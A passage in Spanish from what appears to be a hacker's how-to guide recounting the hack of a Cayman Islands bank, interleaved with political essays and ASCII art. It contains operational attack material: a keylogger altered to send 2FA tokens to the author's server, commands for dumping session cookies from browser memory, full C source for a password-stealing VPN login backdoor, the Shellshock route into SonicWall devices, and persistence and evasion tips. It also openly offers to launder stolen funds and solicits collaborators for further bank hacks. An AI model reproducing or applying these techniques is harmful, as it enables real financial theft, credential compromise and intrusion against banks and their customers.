cómo se escribe un script.[1] https://elpais.com/economia/2016/03/17/actualidad/1458200294_374693.html[2] https://securelist.lat/el-gran-robo-de-banco-el-apt-carbanak/67508/[3] https://es.wikipedia.org/wiki/Hegemon%C3%ADa_cultural2) Ayudar a retirar el efectivoMuchos de los que lean esto ya tienen, o con un poco de estudio van a ser capaces de adquirir, las habilidades necesarias para llevar a cabo un hackeo como este. Sin embargo, muchos se van a encontrar con que les faltan las conexiones criminales necesarias para sacar los mangos en condiciones. En micaso, este era el primer banco que hackeaba, y en ese momento sólo tenía unaspocas y mediocres cuentas preparadas para poder retirar el efectivo (conocidascomo bank drops), así que solamente fueron unos cuantos cientos de miles los quepude retirar en total, cuando lo normal es sacar millones. Ahora, en cambio, síque tengo el conocimiento y las conexiones para sacar efectivo más en serio, demodo que si se encuentran hackeando un banco pero necesitan ayuda para convertireso en dinero de a de veras, y quieren usar esa lana para financiar proyectossociales radicales, se ponen en contacto conmigo.3) ColaborarEs posible hackear bancos como una aficionada que trabaja en solitario, pero la neta es que, por lo general, no es tan fácil como lo pinto acá. Tuve suerte con este banco por varias razones:1) Era un banco pequeño, por lo que me tomó mucho menos tiempo llegar a comprender cómo funcionaba todo.2) No tenían ningún procedimiento para revisar los mensajes swift enviados. Muchos bancos tienen uno, y necesitas escribir código para esconder tus transferencias de su sistema de monitorización.3) Sólo usaban autenticación por contraseña para acceder a la aplicación con la que se conectaban a la red SWIFT. La mayoría de los bancos ahora usan RSA SecurID, o alguna forma de 2FA. Puedes saltarte esto escribiendo código para recibir una alerta cuando entren su token, y así poder usarlo antes de que expire. Es más sencillo de lo que parece: he usado Get-Keystrokes [1], modificándolo para que en vez de almacenar las teclas pulsadas, se haga una petición GET a mi servidor cada vez que se detecta que han introducido un nombre de usuario. Esta petición añade el nombre de usuario a la url y, conforme tipean el token, se hacen varios GET con los dígitos del token concatenados a la url. En mi lado dejo esto corriendo mientras tanto: ssh yo@mi_servidor_secreto 'tail -f /var/log/apache2/access_log' | while read i; do echo $i; aplay alarma.wav &> /dev/null; done Si es una aplicación web, puedes saltarte el 2FA robándoles la cookie después de que se hayan autenticado. No soy un APT con un equipo de coders que puedan hacerme herramientas a medida. Soy una persona sencilla que vive de lo que le da la terminal [2], de modo que lo que uso es: procdump64 /accepteula -r -ma PID_del_browser strings64 /accepteula *.dmp | findstr PHPSESSID 2> nul o pasándolo por findstr antes que por strings, lo que lo hace mucho más rápido: findstr PHPSESSID *.dmp > tmp strings64 /accepteula tmp | findstr PHPSESSID 2> nul Otra forma de saltártelo es accediendo a su sesión con un VNC oculto (hvnc) después de que se hayan autenticado, o con un poco de creatividad también podrías enfocarte en otra parte de su proceso en lugar de enviar mensajes SWIFT directamente.Creo que si colaborase con otros hackers bancarios con experiencia podríamos hacernos cientos de bancos como Carnabak, en vez de estar haciendo uno de tanto en tanto por mi cuenta. Así que si tienes experiencia con hackeos similares y quieres colaborar, contactame. Encontrarás mi correo y mi llave PGP al final de la guía anterior [3].[1] https://github.com/PowerShellMafia/PowerSploit/blob/master/ Exfiltration/Get-Keystrokes.ps1[2] https://lolbas-project.github.io/[3] https://www.exploit-db.com/papers/41914 ________________________________________/ Si robar un banco cambiara las cosas, \\ lo harían ilegal / ---------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 3 - Tengan cuidado ahí fuera ]----------------------------------------------Es importante tomar algunas precauciones sencillas. Voy a remitirme a esta misma sección de mi última guía [1], ya que por lo visto funciona bien nomás[2]. Todo lo que tengo que añadir es que, en palabras de Trump, "A menos queatrapes a los hackers in fraganti, es rete-difícil determinar quién es queestaba realizando el hackeo", de modo que la policía se está volviendo más y más creativa [3][4] en sus intentos de agarrar a los criminales en el acto (cuando sus discos duros cifrados están desbloqueados). Así que estaría bueno si por ejemplo llevas encima un cierto dispositivo bluetooth y configuras tucomputadora para que se apague cuando se aleje más allá de un cierto rango, ocuando un acelerómetro detecta movimiento, o algo por el estilo.Puede que escribir artículos largos detallando tus acciones y tu ideología no sea la cosa más segura del mundo (¡ups!), pero a ratos siento que tenía quehacerlo. Si no creyera en quien me escucha Si no creyera en lo que duele Si no creyera en lo que quede Si no creyera en lo que lucha Que cosa fuera... ¿Que cosa fuera la maza sin cantera?[1] https://www.exploit-db.com/papers/41914[2] https://www.wifi-libre.com/topic-1268-italia-se-rinde-y-deja-de-buscar-a- phineas-fisher.html[3] https://www.wired.com/2015/05/silk-road-2/[4] https://motherboard.vice.com/en_us/article/59wwxx/fbi-airs-alexandre-cazes- alphabay-arrest-video ,-\__ |f-"Y\ ____________________ \()7L/ | ¡Sé gay! | cgD | ¡Haz el crimen! | __ _ |\( --------------------- .' Y '>, \ \ \ / _ _ \ \\\ \ )(_) (_)(|} \\\ { 4A } / \\\ \uLuJJ/\l \\\ |3 p)/ \\\___ __________ /nnm_n// c7___-__,__-)\,__)(". \_>-<_/D //V \_"-._.__G G_c__.-__<"/ ( \ <"-._>__-,G_.___)\ \7\ ("-.__.| \"<.__.-" ) \ \ |"-.__"\ |"-.__.-".\ \ \ ("-.__"". \"-.__.-".| \_\ \"-.__""|!|"-.__.-".) \ \ "-.__""\_|"-.__.-"./ \ l ".__""">G>-.__.-"> .--,_ "" G Muchos culpan a las personas queer del declive de esta sociedad; estamos orgullosxs de ello Algunos creen que queremos reducir a cenizas esta civilización y su tejido moral; No podrían estar más en lo cierto Con frecuencia nos describen como depravadxs, decadentes y revoltosxs Pero ¡ay! No han visto nada todavíahttps://theanarchistlibrary.org/library/mary-nardini-gang-be-gay-do-crime--[ 4 - Conseguir acceso ]------------------------------------------------------En otro lugar [1] les platicaba acerca de las vías principales para conseguiracceso inicial a la red de una compañía durante un ataque dirigido. Sin embargo,éste no era un ataque dirigido. No me propuse hackear un banco específico, loque quería era hackear cualquier banco, lo cual termina siendo una tarea muchomás sencilla. Este tipo de enfoque inespecífico fue popularizado por Lulzsec yAnonymous [2]. Como parte de [1], preparé un exploit y unas herramientas depost-explotación para un dispositivo de VPN popular. Luego me puse a escanear lainternet entera con zmap [3] y zgrab para identificar otros dispositivosvulnerables. Hice que el escaner guardara las IPs vulnerables, junto con el"common name" y los "alt names" del certificado SSL del dispositivo, los nombresde dominio de windows del dispositivo, y la búsqueda DNS inversa de la IP. Lehice un grep al resultado en busca de la palabra "banco", y había bastante paraelegir, pero la verdad es que me atrajo la palabra "Cayman", y fue así que vinea quedarme con este.[1] https://www.exploit-db.com/papers/41914[2] https://web.archive.org/web/20190329001614/http://infosuck.org/0x0098.png[3] https://github.com/zmap/zmap----[ 4.1 - El Exploit ]--------------------------------------------------------Cuando publiqué mi última guía DIY [1] no revelé los detalles del exploit desonicwall que había usado para hackear a Hacking Team, ya que era muy útil paraotros hackeos, como este mismo, y todavía no había acabado de divertirme con él.Determinada entonces a hackear a Hacking Team, pasé semanas haciendo ingenieríainversa a su modelo del ssl-vpn de sonicwall, e incluso conseguí encontrarvarias vulnerabilidades de corrupción de memoria más o menos difíciles deexplotar, antes de darme cuenta de que el dispositivo era fácilmente explotablecon shellshock [2]. Cuando salió shellshock, muchos dispositivos sonicwall eranvulnerables, sólo con una petición a cgi-bin/welcome, y un payload en eluser-agent. Dell sacó una actualización de seguridad y un advisory para estasversiones. La versión usada por Hacking Team y este banco tenía la versión debash vulnerable, pero las peticiones cgi no disparaban el shellshock excepto porlas peticiones a un shell script, y justo había uno accesible:cgi-bin/jarrewrite.sh. Esto parece que se les escapó a los de Dell en su nota,ya que nunca sacaron una actualización de seguridad ni un advisory para esaversión del sonicwall. Y, amablemente, Dell había hecho dos2unix setuid root,dejando un dispositivo fácil de rootear.En mi última guía muchos leyeron que pasé semanas investigando un dispositivo hasta dar con un exploit, y asumieron que eso significaba que yo era algún tipode hacker de élite. La realidad, es decir, el hecho de que me llevó dos semanasdarme cuenta de que era trivialmente explotable con shellshock, es tal vez menoshalagadora para mí, pero pienso que también es más inspiradora. Demuestra quede verdad tú puedes hacer esto por tí misma. No necesitas ser un genio, yociertamente no lo soy. En realidad mi trabajo contra Hacking Team comenzó unaño antes. Cuando descubrí a Hacking Team y al Grupo Gamma en lasinvestigaciones de CitizenLab [3][4], decidí explorar un poco y ver si podíaencontrar algo. No llegué a ninguna parte con Hacking Team, pero tuve suerte conGamma Group, y pude hackear su portal de atención al cliente con inyección sqlbásica y vulnerabilidades de subida de archivos [5][6]. Sin embargo, a pesar deque su servidor de soporte me daba un pivote hacia la red interna de GammaGroup, fui incapaz de penetrar mas allá en la compañía. A partir de estaexperiencia con el Grupo Gamma y otros hacks, me di cuenta de que estabarealmente limitada por mi falta de conocimiento sobre escalada de privilegios ymovimiento lateral en dominios windows, active directory y windows en general.Así que estudié y practiqué (ver sección 11), hasta que sentí que estaba listapara volver a hacerle una visita a Hacking Team casi un año después. La prácticadio sus frutos, y esa vez fui capaz de realizar un compromiso completo de lacompañía [7]. Antes de darme cuenta de que podía entrar con shellshock, estabadispuesta a pasar meses enteros feliz de la vida estudiando desarrollo deexploits y escribiendo un exploit confiable para una de las vulnerabilidades decorrupción de memoria que había encontrado. Sólo sabía que Hacking Teamnecesitaba ser expuesto, y que me tomaría tanto tiempo como fuese necesario yaprendería lo que tuviese que aprender para conseguirlo. Para realizar estoshacks no necesitas ser brillante. Ni siquiera necesitas un gran conocimientotécnico. Sólo necesitas dedicación, y creer en tí misma.[1] https://www.exploit-db.com/papers/41914[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)[3] https://citizenlab.ca/tag/hacking-team/[4] https://citizenlab.ca/tag/finfisher/[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped- bahrain-track-arab-spring-protesters/[6] https://www.exploit-db.com/papers/41913[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam----[ 4.2 - El Backdoor ]-------------------------------------------------------Parte del backdoor que preparé para Hacking Team (véase [1], sección 6) era un wrapper sencillo sobre la página de login para capturar contraseñas:#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <string.h>#include <stdlib.h>int main(){ char buf[2048]; int nread, pfile; /* jala el log si mandamos una cookie especial */ char *cookies = getenv("HTTP_COOKIE"); if (cookies && strstr(cookies, "nuestra contraseña privada")) { write(1, "Content-type: text/plain\n\n", 26); pfile = open("/tmp/.pfile", O_RDONLY); while ((nread = read(pfile, buf, sizeof(buf))) > 0) write(1, buf, nread); exit(0); } /* el principal almacena los datos del POST y se los envía al hijo, que es el programa de login real */ int fd[2]; pipe(fd); pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600); if (fork()) { close(fd[0]); while ((nread = read(0, buf, sizeof(buf))) > 0) { write(fd[1], buf, nread); write(pfile, buf, nread); } write(pfile, "\n", 1); close(fd[1]); close(pfile); wait(NULL); } else { close(fd[1]); dup2(fd[0],0); close(fd[0]); execl("/usr/src/EasyAccess/www/cgi-bin/.userLogin", "userLogin", NULL); }}En el caso de Hacking Team, se logueaban a la VPN con passwords de un solo uso,de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomóun esfuerzo extra conseguir admin de dominio en su red. En la otra guía escribísobre pases laterales y escalada de privilegios en dominios windows [1]. En estecaso, en cambio, eran las mismas contraseñas de dominio de windows las que seusaban para autenticarse contra la VPN, así que pude conseguir un buen decontraseñas de usuarios, incluyendo la del admin de dominio. Ahora tenía totalacceso a su red, pero usualmente esta es la parte fácil. La parte más complicadaes entender cómo es que operan y cómo sacar el pisto.[1] https://www.exploit-db.com/papers/41914----[ 4.3 - Datos curiosos ]----------------------------------------------------Al seguir la investigación que hicieron sobre el hackeo, me resultó interesantever que, por la misma época en que yo lo hice, el banco pudo haber sidocomprometido por alguna otra persona mediante un email de phishing dirigido [1].Como dice el viejo dicho, "dale a una persona un exploit y tendrá acceso por undía, enséñale a phishear y tendrá acceso toda su vida" [2]. El hecho de quealguien más, por casualidad y al mismo tiempo que yo, se pusiera este bancopequeño en la mira (registraron un dominio similar al dominio real del bancopara poder enviar el phishing desde ahí) hace pensar que los hackeos bancariosocurren con mucha más frecuencia de lo que se conoce.Una sugerencia divertida para que puedas seguir las investigaciones de tus hackeos es tener un acceso de respaldo, uno que no vas a tocar a menos que pierdas el acceso normal. Tengo un script sencillo que espera comandos una vez al dia, o menos, sólo para mantener acceso a largo plazo en el caso de que bloqueen mi acceso regular. Luego tenía un powershell empire [3] llamando a casa con más frecuencia a una IP diferente, y usaba empire para lanzar meterpreter [4] contra una tercera IP, donde realizaba la mayor parte de mi trabajo. Cuando PWC se puso a investigar el hackeo, encontraron mi uso de empire y meterpreter y limpiaron esas computadoras y bloquearon esas IPs, pero no detectaron mi acceso de respaldo. PWC habia colocado dispositivos de monitoreo de red, para poder analizar el tráfico y ver si todavía había computadoras infectadas, de modo que no quería conectarme mucho a su red. Sólo lancé mimikatz una vez para obtener las nuevas contraseñas, y a partir de ahí pude seguir sus investigaciones leyendo sus correos en el outlook web access.[1] página 47, Project Pallid Nutmeg.pdf, en torrent[2] https://twitter.com/thegrugq/status/563964286783877121[3] https://github.com/EmpireProject/Empire[4] https://github.com/rapid7/metasploit-framework--[ 5 - Entender las Operaciones Bancarias ]------------------------------------Para entender cómo operaba el banco, y cómo podría sacar dinero, seguí las técnicas que resumí en [1], en la sección "13.3 - Reconocimiento Interno". Descargué una lista de todos los nombres de archivos, le hice un grep en busca de palabras como "SWIFT" y "transferencia", y descargué y leí todos los archivos con nombres interesantes. También busqué correos de empleados, pero de lejos la técnica más útil fue usar keyloggers y capturas de pantalla paraobservar cómo trabajaban los empleados del banco. No lo sabía por entonces, pero para esto windows trae una herramienta buenisima de monitoreo [2]. Como sedescribe en la técnica no. 5 del apartado 13.3 en [1], hice una captura de lasteclas pulsadas en todo el dominio (incluyendo los títulos de ventana), hice ungrep en busca de SWIFT, y encontré algunos empleados abriendo 'SWIFT AccessService Bureau - Logon'. Para esos empleados, corrí meterpreter como en [3], yusé el módulo post/windows/gather/screen_spy para tomar capturas de pantallacada 5 segundos, para observar cómo es que trabajaban. Estaban usando una appcitrix remota de la compañía bottomline [4] para acceder a la red SWIFT, dondecada mensaje de pago SWIFT MT103 tenía que pasar a través de tres empleados: unopara "crear" el mensaje, uno para "verificarlo", y otro para "autorizarlo". Comoya tenía todas sus credenciales gracias al keylogger, pude realizar confacilidad los tres pasos yo misma. Y por lo que sabía después de haberles vistotrabajar, no revisaban los mensajes SWIFT enviados, de modo que debería tenersuficiente tiempo para sacar el dinero de mis bank drops antes de que el bancose diera cuenta e intentara revertir las transferencias.[1] https://www.exploit-db.com/papers/41914[2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr- remotely-with-metasploit/[3] https://www.trustedsec.com/blog/no_psexec_needed/[4] https://www.bottomline.com/uk/products/bottomline-swift-access-services _________________________________________/ Quien roba a un ladrón, tiene cien años \\ de perdón. / ----------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 6 - Enviar el dinero ]------------------------------------------------------No tenía mucha idea de lo que estaba haciendo, así que lo iba descubriendo por el camino. De algún modo, las primeras transferencias que envié salieron bien. Al día siguiente, la cagué enviando una transferencia a méxico que puso fin a mi diversión. Este banco enviaba sus transferencias internacionales a través de su cuenta corresponsal en Natwest. Había visto que la cuentacorresponsal para las transferencias en libras esterlinas (GBP) aparecía comoNWBKGB2LGPL, mientras que para las demás era NWBKGB2LXXX. La transferenciamexicana estaba en GBP, así que asumí que tenía que poner NWBKGB2LGPL comocorresponsal. Si lo hubiera preparado mejor habría sabido que el GPL en lugar deXXX señalaba que el pago se enviaría a través del Servicio de Pagos Rápidos delReino Unido, en lugar de como una transferencia internacional, lo que obviamentepues no va a funcionar cuando estás tratando de enviar dinero a méxico. Así queal banco le llegó un mensaje de error. El mismo día también traté de enviar unpago de £200k a UK usando NWBKGB2LGPL, que no se hizo porque 200k sobrepasaba ellímite de envío mediante pagos rápidos, y hubiera tenido que usar NWBKGB2LXXX envez. También recibieron un mensaje de error por esto. Leyeron los mensajes, loinvestigaron, y encontraron el resto de mis transferencias.--[ 7 - El botín ]--------------------------------------------------------------Por lo que escribo ya se harán una noción cabal de cuáles son mis ideales y aqué cosas les doy mi apoyo. Pero no quisiera ver a nadie en problemas legales por recibir fondos expropiados, así que ni una palabra más de para dónde se fue la lana. Sé que los periodistas probablemente van a querer poner algún número sobre cuántos dólares fueron distribuidos en este hackeo y otrosparecidos, pero prefiero no alentar nuestro perverso hábito de medir las acciones nomás por su valor económico. Cualquier acción es admirable si es que viene desde el amor y no desde el ego. Por desgracia los de arriba, los ricos ypoderosos, las figuras públicas, los hombres de negocios, la gente en posiciones"importantes", aquellos que nuestra sociedad más respeta y valora, esos se hancolocado donde están a base de actuar más desde el ego que desde el amor. Es enla gente sencilla, humilde e "invisible" en quien deberíamos fijarnos y aquienes deberíamos admirar.--[ 8 - Criptomonedas ]---------------------------------------------------------Redistribuir dinero expropiado a proyectos chileros que buscan un cambio social positivo sería más fácil y seguro si esos proyectos aceptaran donaciones anónimas vía criptomonedas como monero, zcash, o al menos bitcoin. Se entiende que muchos de esos proyectos tengan una aversión a las criptomonedas, ya que se parecen más a alguna extraña distopía hipercapitalista que a la economía social con la que soñamos. Comparto su escepticismo, pero pienso que resultan útiles para permitir donaciones y transacciones anónimas, al limitar lavigilancia y control gubernamentales. Igual que el efectivo, cuyo uso muchospaíses están tratando de limitar por la misma razón.--[ 9 - Powershell ]------------------------------------------------------------En esta operación, al igual en que en [1], hice mucho uso de powershell. Porentonces, powershell era super cool, podías hacer casi cualquier cosa quequisieras, sin detección de antivirus y con muy poco footprint forense. Ocurreque con la introducción del AMSI [2] el powershell ofensivo está de retirada.Hoy día el C# ofensivo es lo que está de subida, con heramientas como[3][4][5][6]. AMSI va a llegar a .NET para la 4.8, así que a las herramientas enC# probablemente todavía les queden un par de añitos antes de quedar anticuadas.Y entonces pues volveremos a usar C o C++, o tal vez Delphi vuelva a ponerse demoda. Las herramientas y técnicas específicas cambian cada pocos años, pero enel fondo no es tanto lo que cambia, hoy el hacking en esencia sigue siendo lamisma cosa que era en los 90s. De hecho todos los scripts de powershellempleados en esta guía y en la anterior [1] siguen siendo perfectamente usableshoy día, tras una pequeña ofuscación de tu propia cosecha.[1] https://www.exploit-db.com/papers/41914[2] https://medium.com/@byte_St0rm/ adventures-in-the-wonderful-world-of-amsi-25d235eb749c[3] https://cobbr.io/SharpSploit.html[4] https://github.com/tevora-threat/SharpView[5] https://www.harmj0y.net/blog/redteaming/ghostpack/[6] https://rastamouse.me/2019/08/covenant-donut-tikitorch/ ___________________________/ Fo Sostyn, Fo Ordaag \\ Financial Sector Fuck Off / --------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 10 - Torrent ]-------------------------------------------------------------- Privacidad para los débiles, transparencia para los poderosos.La banca offshore provee de privacidad frente a su propio gobierno a los ejecutivos, a los políticos y a los millonarios. Exponerles puede sonarhipócrita por mi parte, dado que por lo general estoy a favor de la privacidad yen contra de la vigilancia gubernamental. Pero la ley ya estaba escrita por ypara los ricos: protege su sistema de explotación, con algunos límites (como losimpuestos) para que la sociedad pueda funcionar y el sistema no colapse bajo elpeso de su propia avaricia. Así que no, no es lo mismo la privacidad para lospoderosos, cuando les permite evadir los limites de un sistema de por sídiseñado para darles privilegios; y la privacidad para los débiles, a quienesprotege de un sistema concebido para explotarles.Incluso a periodistas con la mejor de las intenciones les resulta imposibleestudiar una cantidad tan ingente de material y saber qué va a resultarrelevante para la gente en diferentes partes del mundo. Cuando filtré losarchivos de Hacking Team, entregué a The Intercept una copia de los correoselectrónicos con un mes de antelación. Encontraron un par de los 0days queHacking Team estaba usando, los reportaron previamente a MS y Adobe y publicaronunas cuantas historias una vez que la filtración se hizo pública. No hay puntode comparación con la enorme cantidad de artículos e investigación que vino trasla filtración completa al público. Viéndolo así, y considerando también la (no) publicación editorializada [1] de los papeles de panamá, pienso que unafiltración pública y completa de este material es la elección correcta.[1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers- protect-western-1-from-panama-leak/Los psicólogos hallaron que los que están más abajo en las jerarquías tienden acomprender y a empatizar con aquellos en la cima, pero que lo contrario es menoscomún. Esto explica por qué, en este mundo sexista, muchos hombres bromean sobresu imposibilidad de entender a las mujeres, como si se tratara de un misterioirresoluble. Explica por qué los ricos, si es que se paran a pensar en quienesviven en la pobreza, dan unos consejos y unas "soluciones" tan ajenas a larealidad que dan ganas de reír. Explica por qué reverenciamos a los ejecutivoscomo valientes que asumen riesgos. ¿Qué es lo que arriesgan, más allá de suprivilegio? Si todos sus emprendimientos fracasan, tendrán que vivir y trabajarcomo el resto de nosotras. También explica por qué serán muchos los que acusende irresponsable y peligrosa a esta filtración sin tachaduras. Sienten el"peligro" sobre un banco offshore y sus clientes de forma mucho más intensa delo que sienten la miseria de aquellos desposeídos por este sistema injusto ydesigual. Y la filtración de sus finanzas, ¿es acaso un peligro para ellos, otan sólo para su posición en lo alto de una jerarquía que ni siquiera deberíaexistir? ,---------------------------------------------------. _,-._ | Nos vilifican, esos infames; cuando la única | ; ___ : | diferencia es que ellos roban a los pobres | ,--' (. .) '--.__ | amparados por la ley, lo sabe el cielo, y nosotros| _; ||| \ | saqueamos a los ricos bajo la única protección de | '._,-----''';=.____," | nuestro propio coraje. ¿No has de preferir ser | /// < o> |##| | uno de nosotros, antes que pordiosear ante esos | (o \`--' / villanos en busca de trabajo? | ///\ >>>> _\ <<<< //`---------------------------------------------------' --._>>>>>>>><<<<<<<< / ___() >>>[||||]<<<< `--'>>>>>>>><<<<<<< >>>>>>><<<<<< >>>>><<<<< >>ctr<< Capitán Bellamy --[ 11 - Aprende a hackear ]---------------------------------------------------- No se empieza hackeando bien. Empiezas hackeando mierda, pensando que es bueno, y luego poco a poco vas mejorando. Por eso siempre digo que una de las virtudes más valiosas es la persistencia. - Consejos de Octavia Butler para la aspirante a APTLa mejor forma de aprender a hackear es hackeando. Armate un laboratorio conmáquinas virtuales y empezá a probar cosas, tomándote un break para investigarcualquier cosa que no entiendas. Como mínimo vas a querer un servidor windowscomo controlador de dominio, otra vm windows normal unida al dominio, y unamáquina de desarrollo con visual studio para compilar y modificar herramientas.Intenta hacer un documento de office con macros que lancen meterpreter u otroRAT, y probá meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying,psexec y otras técnicas de pase lateral [1]; así como los otros scripts,herramientas y técnicas mencionados en esta guía y en la anterior [2]. Alprincipio puedes deshabilitar windows defender, pero luego probalo todoteniéndolo activado [3][4] (pero desactivando el envío automático de muestras).Una vez que estés a gusto con todo eso, estarás lista para hackear el 99% de lascompañías. Hay un par de cosas que en algún momento serán muy útiles en tuaprendizaje, como desenvolverte cómodamente con bash y cmd.exe, un dominiobásico de powershell, python y javascript, tener conocimiento de kerberos [5][6]y active directory [7][8][9][10], y un inglés fluido. Un buen librointroductorio es The Hacker Playbook.Quiero también escribir un poco sobre cosas en las que no centrarse si no tequieres entretener sólo porque alguien te haya dicho que no eres una hacker "deverdad" si no sabes ensamblador. Obviamente, aprende lo que sea que te interese,pero escribo estas líneas pensando en aquellas cosas en las que te puedescentrar a fin de conseguir resultados prácticos si lo que buscas es hackearcompañías para filtrar y expropiar. Un conocimiento básico de seguridad enaplicaciones web [11] es útil, pero especializarte más en seguridad web no esrealmente el mejor uso de tu tiempo, a menos que quieras hacer una carrera enpentesting o cazando recompensas por bugs. Los CTFs, y la mayoría de losrecursos que encontrarás al buscar información sobre hacking, se centrangeneralmente en habilidades como seguridad web, ingeniería inversa, desarrollode exploits, etc. Cosas que tienen sentido entendiéndolas como una forma depreparar gente para las carreras en la industria, pero no para nuestrosobjetivos. Las agencias de inteligencia pueden darse el lujo de tener un equipodedicado a lo más avanzado en fuzzing, un equipo trabajando en desarrollo deexploits con un güey investigando exclusivamente las nuevas técnicas demanipulación del montículo, etc. Nosotras no tenemos ni el tiempo ni losrecursos para eso. Las dos habilidades de lejos más importantes para el hackingpráctico son el phishing [12] y la ingeniería social para conseguir accesoinicial, y luego poder escalar y moverte por los dominios windows.[1] https://hausec.com/2019/08/12/offensive-lateral-movement/[2] https://www.exploit-db.com/papers/41914[3] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf[4] https://www.trustedsec.com/blog/ discovering-the-anti-virus-signature-and-bypassing-it/[5] https://www.tarlogic.com/en/blog/how-kerberos-works/[6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/[7] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/[8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/[9] https://adsecurity.org/[10] https://github.com/infosecn1nja/AD-Attack-Defense[11] https://github.com/jhaddix/tbhm[12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an- external-engagement-through-spear-phishing/--[ 12 - Lecturas Recomendadas ]------------------------------------------------ __________________________________________/ Cuando el nivel científico de un mundo \| supera por mucho su nivel de solidaridad,|\ ese mundo se autodestruye. / ------------------------------------------ \ _.---._ . . * \.' '. ** _.-~===========~-._ . (___________________) . * .' \_______/ .' .' .' ' - AmiCasi todo el hacking hoy día se hace por hackers de sombrero negro, para su provecho personal; o por hackers de sombrero blanco, para el provecho de los accionistas (y en defensa de los bancos, compañías y estados que nos están aniquilando a nosotras y al planeta en que vivimos); y por militares y agencias de inteligencia, como parte de su agenda de guerra y conflictos. Viendo que este nuestro mundo ya está al límite, he pensado que, además de estosconsejos técnicos para aprender a hackear, debía incluir algunos recursos quehan sido muy importantes para mi desarrollo y me han guiado en el uso de misconocimientos de hacking.* Ami: El Niño de las Estrellas - Enrique Barrios * La Anarquía Funciona https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia- funciona* Viviendo Mi Vida - Emma Goldman* The Rise and Fall of Jeremy Hammond: Enemy of the State https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy- hammond-enemy-of-the-state-183599/ Este cuate y el hack de HBGary fueron una inspiración* Días de Guerra, Noches de Amor - Crimethinc* Momo - Michael Ende* Cartas a un joven poeta - Rilke* Dominion (Documental) "no podemos creer que, si no miramos, no sucederá lo que no queremos ver" - Tolstoy en Первая ступень* Bash Back!--[ 13 - Sanar ]----------------------------------------------------------------El mundo hacker tiene una alta incidencia de depresión, suicidios y ciertasbatallas con la salud mental. No creo que sea a causa del hacking, sino por laclase de ambiente del que en su mayoría provienen los hackers. Como muchashackers, crecí con escaso contacto humano: fui una niña criada por el internet.Tengo mis luchas con la depresión y el entumecimiento emocional. A Willie Suttonse le cita con frecuencia diciendo que robaba bancos porque "allí es donde estáel dinero", pero la cita es incorrecta. Lo que realmente dijo fue: ¿Por qué robaba bancos? Porque lo disfrutaba. Amaba hacerlo. Estaba más vivo cuando estaba dentro de un banco, en pleno atraco, que en cualquier otro momento de mi vida. Lo disfrutaba tanto que una o dos semanas después ya estaba buscando la siguiente oportunidad. Pero para mí el dinero era una minucia, nada más.El hacking me ha hecho sentir viva. Comenzó como una forma de automedicar ladepresión. Más tarde me di cuenta de que, en realidad, podía servir para haceralgo positivo. No me arrepiento para nada de la forma en que crecí, trajo variasexperiencias hermosas a mi vida. Pero sabía que no podía continuar viviendo deesa manera. Así que comencé a pasar más tiempo alejada de mi computadora, conotras personas, aprendiendo a abrirme al mundo, a sentir mis emociones, aconectar con los demás, a aceptar riesgos y ser vulnerable. Cosas mucho másdifíciles que hackear, pero a la mera hora la recompensa vale más la pena. Aúnme supone un esfuerzo, pero aunque sea de forma lenta y tambaleante, siento quevoy por buen camino.El hacking, hecho con conciencia, también puede ser lo que nos sana. Según lasabiduría maya, tenemos un don otorgado por la naturaleza, que debemoscomprender para ponerlo al servicio de la comunidad. En [1], se explica: Cuando una persona no acepta su trabajo o misión empieza a padecer enfermedades, aparentemente incurables; aunque no llega a morir en corto tiempo, sino únicamente sufre, con el objetivo de despertar o tomar conciencia. Por eso es indispensable que una persona que ha adquirido los conocimientos y realiza su trabajo en las comunidades debe pagar su Toj y mantener una comunicación constante con el Creador y su ruwäch q’ij, pues necesita constantemente de la fuerza y energía de estos. De lo contrario, las enfermedades que lo hicieron reaccionar o tomar el trabajo podrían volver a causar daño.Si sientes que el hacking está alimentando tu aislamiento, depresión, u otrospadecimientos, respira. Date un tiempo para conocerte y tomar conciencia. Vosmereces vivir feliz, con salud y plenitud. ________________________< All Cows Are Beautiful > ------------------------ \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'[1] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748--[ 14 - El Programa Hacktivista de Caza de Bugs ]------------------------------Me parece que hackear para conseguir y filtrar documentos de interés público esuna de las mejores maneras en que lxs hackers pueden usar sus habilidades enbeneficio de la sociedad. Por desgracia para nosotras las hackers, como en casitodo rubro, los incentivos perversos de nuestro sistema económico no coincidencon aquello que beneficia a la sociedad. Así que este programa es mi intento dehacer posible que lxs buenxs hackers se puedan ganar la vida de forma honestaponiendo al descubierto material de interés público, en vez de tener que andarvendiendo su trabajo a las industrias de la ciberseguridad, el cibercrimen o laciberguerra. Entre algunos ejemplos de compañías por cuyos leaks me encantaríapagar están las empresas mineras, madereras y ganaderas que saquean nuestrahermosa América Latina (y asesinan a las defensoras de la tierra y el territorioque tratan de detenerles), empresas involucradas en ataques a Rojava como BaykarMakina o Havelsan, compañías de vigilancia como el grupo NSO, criminales deguerra y aves de rapiña como Blackwater y Halliburton, empresas penitenciariasprivadas como GeoGroup y CoreCivic/CCA, y lobbistas corporativos como ALEC.Presta atención a la hora de elegir dónde investigas. Por ejemplo, es bienconocido que las petroleras son malvadas: se enriquecen a 